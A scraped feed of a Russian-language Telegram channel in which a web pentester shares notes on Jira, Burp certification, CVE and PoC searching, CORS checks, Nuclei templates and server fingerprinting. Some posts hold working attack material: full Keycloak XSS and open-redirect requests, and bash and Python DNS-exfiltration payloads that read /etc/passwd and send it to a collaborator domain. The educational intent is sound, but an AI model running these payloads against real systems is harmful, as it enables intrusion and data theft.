Заметки склерозного вебера
444 subscribers
24 photos
1 video
9 files
33 links
Download Telegram
Jira — коммерческая система отслеживания ошибок, предназначена для организации взаимодействия с пользователями, хотя в некоторых случаях используется и для управления проектами

Как-то пару раз на проектах у меня встречалась JIRA, и каждый раз приходилось лезть и в куче источников искать возможные цвешки и уязвимости. И я подумал, что было бы клёво сделать один большой файл с проверами/инфой/тулами, который бы помогал экономить своё время.
Ну вот я его и сделал=)

+ Кидаю презентацию от моего мини доклада, который я читал сокомандникам из BinaryBears
Недавно наконец удалось сдать сертификатик бурпа(Burp Suite Certified Practitioner), ушло у меня на это 4 попытки - дада, гордиться тут нечем:D
Но так как это канал всё таки про полезные заметки и материалы, то хочу скинуть сюда то, что мне помогло сдать экзамен!

Экзамен:
Вам даётся 4 часа и 2 веб-приложения, на каждом нужно выполнить 3 этапа:

Этап 1: Получить доступ к учётке низкопривилегированного пользователя
Этап 2: Использовать полученную учётку и новый функционал для доступа к интерфейсу администратора в /admin, возможно, повысив свои привилегии или взломав учетную запись администратора
Этап 3: Использовать функциональность администратора для чтения содержимого /home/carlos/secret из файловой системы сервера и отправьте его с помощью «отправить решение». Также возможно, что вам нужно будет обратиться на localhost:6566, если в самом конце вы нашли SSRF.

Советы:
Я пока писал все советы, понял, что пост просто не уместится в 1 сообщение, так что отдельно выделил их в файлик advices.txt!

Материалы и ссылки:
1) https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study - шпаргалка
2) Если нужно оплатить экзамен(а вы как и я - бич без иностранной карты), то можете использовать сервис @WantToPayBot, на момент моей сдачи нельзя было выпустить виртуальную карту и пополнить на нужную сумму, но можно было купить предоплаченную карту. Но готовьтесь увидеть неприятный ценник из-за комиссии
3) Файлики в архиве materials.zip

Вывод:
Это был прикольный экзамен, но не без недостатков. Рад, что удалось сдать его самостоятельно и наконец закрыть свой внутренний гиштальд.
Всем читающим я хочу пожелать удачи, если будете его сдавать, а также желаю не расстраиваться, если не получиться сделать это с первой и тд попыток. Главное делайте это самостоятельно, потому что серт по факту - лишь бумажка, главное какой вы специалист!
Ну и конечно нервов побольше:D
🔥123👏3❤‍🔥2
Пока собирал валидные CVE по Moodle для следующего поста столкнулся с мини болью...

Если мы говорим про Moodle, то у него примерно ~500 CVE'шек. И читать каждую, и ,ТЕМ БОЛЕЕ, искать POC под каждую - это адская боль и трата огромного кол-ва времени. Я долго ломал голову как ускорить этот процесс, пока не додумался до следующих двух вещей.

Способы

1) Есть такой прекрасный инструмент, как CVEMap от команды Project Discovery. Этому инструменту можно скормить файл с CVE'шками, и он выведет информацию об этих CVE'шках из своей БД. Причём можно дополнительно накинуть поле, которое будет показывать есть ли POC под эту CVE или нет.
Единственная проблема, что для её использования нужно использовать свой API-ключ с https://cloud.projectdiscovery.io/, но я думаю не так сложно войти на портал со своим гугл аккаунтом и взять ключ=)
Также, к сожалению, данный инструмент работает без таких БД как Exploit-DB, поэтому некоторые CVE он может пропустить. Поэтому используем и этот вариант и второй.

Применение

Отдать на вход список с CVE и показать вывод с полем "POC"(есть ли POC на эту CVE или нет)

cat cve.txt | cvemap -field poc


Та же команда, но с фильтрацией только тех CVE, что имеют POC:

cat cve.txt | cvemap -field poc | grep TRUE


2) Можно также применить в поиске и Exploit-DB, но у него нет удобного API..
Но это не проблема! Можно просто перехватить API-запрос с exploit-db на поиск информации о CVE и просто через интрудер перебрать интересующие вас номера с задержкой в 2 секунды, чтобы не словить бан. А дальше отсеять невалидные по длине ответа:

GET /search?text=<CVE_id> HTTP/2
Host: www.exploit-db.com
User-Agent: ...
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://www.exploit-db.com/search?text=2018-1042
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers


Итог
Эти 2 способа значительно сократят время поиска валидных CVE'шек, однако, возможно надо будет поискать и какой-нибудь 3 способ/ресурс, например, если вы ищите CVE на jira, то можете использовать ресурс jira.atlassian.com. Поэтому всё зависит также и от контекста)
🔥4🍓2
Также меня просветили(Спасибо @katok) про searchsploit, поэтому вместо второго способа можно также юзать эту тулу следующим способом:


searchsploit moodle



searchsploit -t moodle --cve --www


И ещё можно использовать следующие ресурсы(Спасибо @XxX_S4ar_XxX и ещё раз @katok):
- https://sploitify.haxx.it/
- https://vulners.com/search (позволяет отфильтровать по ключевому слово exploit и искать поки также на гите и др. ресурсах)
👍3💅21
Как-то увидел, как человек всем доказывал, что нашёл валидную CORS-мисконфигурацию следующего типа:


Origin: https://site.ru - валидный Origin, на который возвращается ACAO и ACAC

Origin: https://site.ru:[email protected] - Origin, на который тоже возвращается ACAO и ACAC


Это, конечно, выглядит как валидный кейс, однако не стоит забывать, что у Origin'а есть определённая структура:


<scheme>://<hostname>:<port>


Поэтому удачи ему доказать, что это валидная бага=)

Максимум, что можно сделать при поиске CORS-мисконфигураций это:
1) Подставить null
2) Указать изначальный домен, как поддомен вашего: https://site.ru.arroizx.ru
3) Подставить домен, на котором вы нашли XSS'ку
4) Указать домен, который начинается/заканчивается как валидный, а по факту это совершенно другой домен: https://arroizxsite.ru && https://site.ruarroizx.ru
5) Ну и всякие другие специфичные кейсы, которые можно найти в той же шпаргалке portswigger.

Иногда на ББ могут даже принять подстановку https://localhost, на который возвращается ACAO и ACAC, но я вам этого не говорил🌚
😁1💊1
Многие, наверное, знают о CVE-2023-6927 и CVE-2023-6134. Они позволяют эксплуатировать Reflected XSS в Keycloak до версии 23.0.4 через response_mode=form_post и response_mode=form_post.jwt, при условии, что вы нашли client_id, позволяющий выставлять произвольное значение для redirect_uri(Так как именно в него вы и будете пихать XSS-нагрузку вида: javascript:XSS_PAYLOAD).

Однако считается, что для их эксплуатации пользователь-жертва должен быть аутентифицирован в keycloak. Спешу вам сообщить, что это не совсем правда. Эти CVE'шки можно эксплуатировать и на неаутентифицированной жертве, достаточно просто продублировать GET-параметр redirect_uri, указав в первом XSS-нагрузку, а в дубликате что угодно. Это вызовет ошибку duplicated parameter и ответ как если бы жертва была аутентифицирована.

Не будет XSS:

GET /auth/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=javascript:alert()&state=758534b9-1d2b-46ca-9d34-6bf81b91235d&response_mode=form_post&response_type=code&scope=openid&nonce=abae5e85-6399-47d5-9066-e1282ec068df&code_challenge=QuDdQheHz6LSgzeJL_x5kaCg4P5YsK3R0nHDQBDgB2M&code_challenge_method=S256 HTTP/1.1
Host: localhost:8080



Будет XSS:

GET /auth/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=javascript:alert()&redirect_uri=K&state=758534b9-1d2b-46ca-9d34-6bf81b91235d&response_mode=form_post&response_type=code&scope=openid&nonce=abae5e85-6399-47d5-9066-e1282ec068df&code_challenge=QuDdQheHz6LSgzeJL_x5kaCg4P5YsK3R0nHDQBDgB2M&code_challenge_method=S256 HTTP/1.1
Host: localhost:8080



Также через этот метод можно сразу делать и open redirect, используя дублированный redirect_uri и response_mode=fragment

GET /auth/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=https://google.com&redirect_uri=K&state=758534b9-1d2b-46ca-9d34-6bf81b91235d&response_mode=fragment&response_type=code&scope=openid&nonce=abae5e85-6399-47d5-9066-e1282ec068df&code_challenge=QuDdQheHz6LSgzeJL_x5kaCg4P5YsK3R0nHDQBDgB2M&code_challenge_method=S256 HTTP/1.1
Host: localhost:8080



Ну и в догонку, keycloak часто по умолчанию ставит * на logout URL, что позволяет делать open redirect через механизм logout:

GET /auth/realms/master/protocol/openid-connect/logout?redirect_uri=https://google.com HTTP/1.1
Host: localhost:8080
🔥6🤯1
Ох уж этот странный Nuclei...

Многие, я думаю, слышали/знают про Nuclei, и так недавно получилось, что по работе мне нужно было написать пару шаблонов для него. Во время их написания я столкнулся со странными проблемами, которые мне пришлось побороть, эксперементируя с шаблоном. Есть маленький шанс, что вы можете встретиться с такими же приколами, так что ниже вы увидите 3 мои проблемы и решения на них! (больше не влезло в пост=) )

1. В строке запроса RAW-формата нельзя вставить данные после переменной

Допустим вы хотите отправить 2 GET-запроса. Из ответа на первый запрос вы хотите достать значение заголовка Location, и подставить его в строку-запроса 2ого GET-запроса, а после добавить какие-то данные(TEST). Если использовать RAW-формат, то у вас получится что-то типа такого:


requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0

- |
GET {{path}}TEST HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0

redirects: false
extractors:
- type: regex
name: path
part: header
internal: true
group: 1
regex:
- "Location: (.*)"


Однако при анализе запросов вы увидите, что подстроки TEST просто нет после извлечёного маршрута: GET <значение path> HTTP/1.1

Решение: использовать METHOD-формат:


requests:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}{{path}}TEST"

redirects: false
extractors:
- type: regex
name: path
part: header
internal: true
group: 1
regex:
- "Location: (.*)"


2. Странная подстановка НЕ ПЕРВЫХ GET-параметров

Вот у вас есть шаблон, который берёт весь переданный URL с GET-параметрами, добавляет ещё параметр в конце и отправляет запрос:


requests:
- method: GET
path:
- "{{BaseURL}}&hello=test"


Но на деле вы получите: /some/path&hello?firstp=value

Решение: добавить знак ? перед`&`


requests:
- method: GET
path:
- "{{BaseURL}}?&hello=test"


3. RAW-формат добавляет изначальный маршрут

Пусть вы хотите отправить такой GET-запрос:


requests:
- raw:
- |
GET /second_path?test=value HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0


И на вход вы подали что-то типа https://127.0.0.1:5000/some/path -> у вас будет https://127.0.0.1:5000/some/path/second_path?test=value.

Решение: использовать METHOD-формат


requests:
- method: GET
path:
- "{{RootURL}}/second_path?test=value"


Это ещё не все проблемы и приколы, может, конечно, я не до конца разобрался с Nuclei, но он определённого странно реагирует на ситуации, когда передаётся урл с маршрутом и параметрами, а также у него нелогичная работа RAW-формата ¯\_(ツ)_/¯
🔥6🤯2
Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:


name=val`ping -с 1 $(whoami).collaborator`ue


Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:


Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.


Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования:

Получение части от вывода команды

Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене


`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`


Чтение всего файла по частям

Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)


bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'


Данный bash я делал по ранее написанному python-коду:


import os, base64, time

border, domain, delay = 40, ".collaborator", 3

with open('/etc/passwd') as file:
for lineNumber, line in enumerate(file, 1):
encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]

for part, chunk in enumerate(parts, 1):
os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
time.sleep(delay)


Также попутно хочу поделиться полезными ссылками по этой теме:
- https://notsosecure.com/out-band-exploitation-oob-cheatsheet
- https://github.com/dhmosfunk/DNSEXFIL
- https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9

P.S. Если base64 не катит, то просто поменяйте на hex
🔥164😁2💅1
А на чём ты стоишь, дружище?

Нужно мне тут было понять какой веб-сервер используется для исследуемого веб-приложения, а в заголовках ответа было примерно ничего полезного, да и характерных ошибок тоже не было. Посидел, поискал инфу в этом вашем гугле, и выработал следующие способы:

1) Посмотреть в заголовки ответа, может там есть баннер
2) Посканить веб-порты nmap'ом с ключом -sV
3) Посканить хост с помощью Nuclei
4) Отправить некорректный HTTP-запрос(`GET / Arroiz X/1.1`)
5) Можно отправить HEAD-запрос с HTTP/1.0:(HEAD / HTTP/1.0)
6) Посмотреть на порядок заголовков ответа(Если сверху-вниз Server->Date->Content Type, то может быть nginx, подробнее по первой ссылке в источниках)
7) Можно также по ЯП/фреймворку веб-приложения понять, какой веб-сервер скорее всего используется(Для ASP.NET скорее всего IIS)
8) Глянуть на страницы от 404, 403 и тд. Зачастую определённые веб-сервера имеют характерные страницы для этих ошибок.
9) Посмотреть на соседние хосты, если они используют тот же Apache, то и исследуемое приложение скорее всего тоже


Полезные источники

- https://github.com/OWASP/www-project-web-security-testing-guide/blob/master/stable/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server.md

- https://github.com/OWASP/OWASP-Testing-Guide/blob/master/4-Web-Application-Security-Testing/4.2.2%20Fingerprint%20Web%20Server%20(OTG-INFO-002)
81
Особенности тестирования ASP.NET приложений на IIS'е

28.03 состоялась открытая лекция WHM (White Hackers MTUCI), где я выступил с докладом о тестировании ASP.NET-приложений на IIS. К посту прилагаю презентацию и запись выступления.

О чём доклад:
Я разбираю распространённые уязвимости, характерные для ASP.NET-приложений, работающих на IIS, а также показываю:
1) Причины их возникновения
2) Их эксплуатацию (не без проблем, так как это продукты Microsoft :3)
3) Способы устранения этих проблем

Немного про запись:
1) Доклад был под пиво, поэтому есть нецензурная брань)
2) Так неприятно получилось, что я заболел на момент выступления, так что голос может быть плохо слышно порой
3) Видео снято на телефон и сжато для загрузки в Telegram, так что качество изображения не идеальное
Недавно попался забавный вебчик, в котором можно было вставить ссылку в заметки внутреннего календаря, и Headless Chrome посетит эту ссылку. А раз это полноценный браузер, а не обычный curl, то помимо возможности отправлять запросы по произвольным адресам, можно исполнить какой-нибудь JS-код и получить импакт поинтереснее:

1) DoS
2) Сканирование сети и портов
3) localStorage Leak
4) Взаимодействие с облаком, где запущен браузер
5) Поиск и получение Chrome Headless debug порта
6) и тд

Для DoS'а можно использовать скрипт с этого репозитория:
https://github.com/darkotodoric/javascript-based-ddos/blob/main/evil.js

Всё остальное можно найти в этом скрипте, открытие которого стало для меня приятным сюрпризом:
https://github.com/rafax00/js-ssrf/blob/main/htmls/js-exploits.html

Также для сканирования локальных ip-адресов на наличие порта 443 можете использовать мой прикреплённый скрипт, но сначала обязательно просто почитайте его, а то вдруг не очень подойдёт :D
🔥10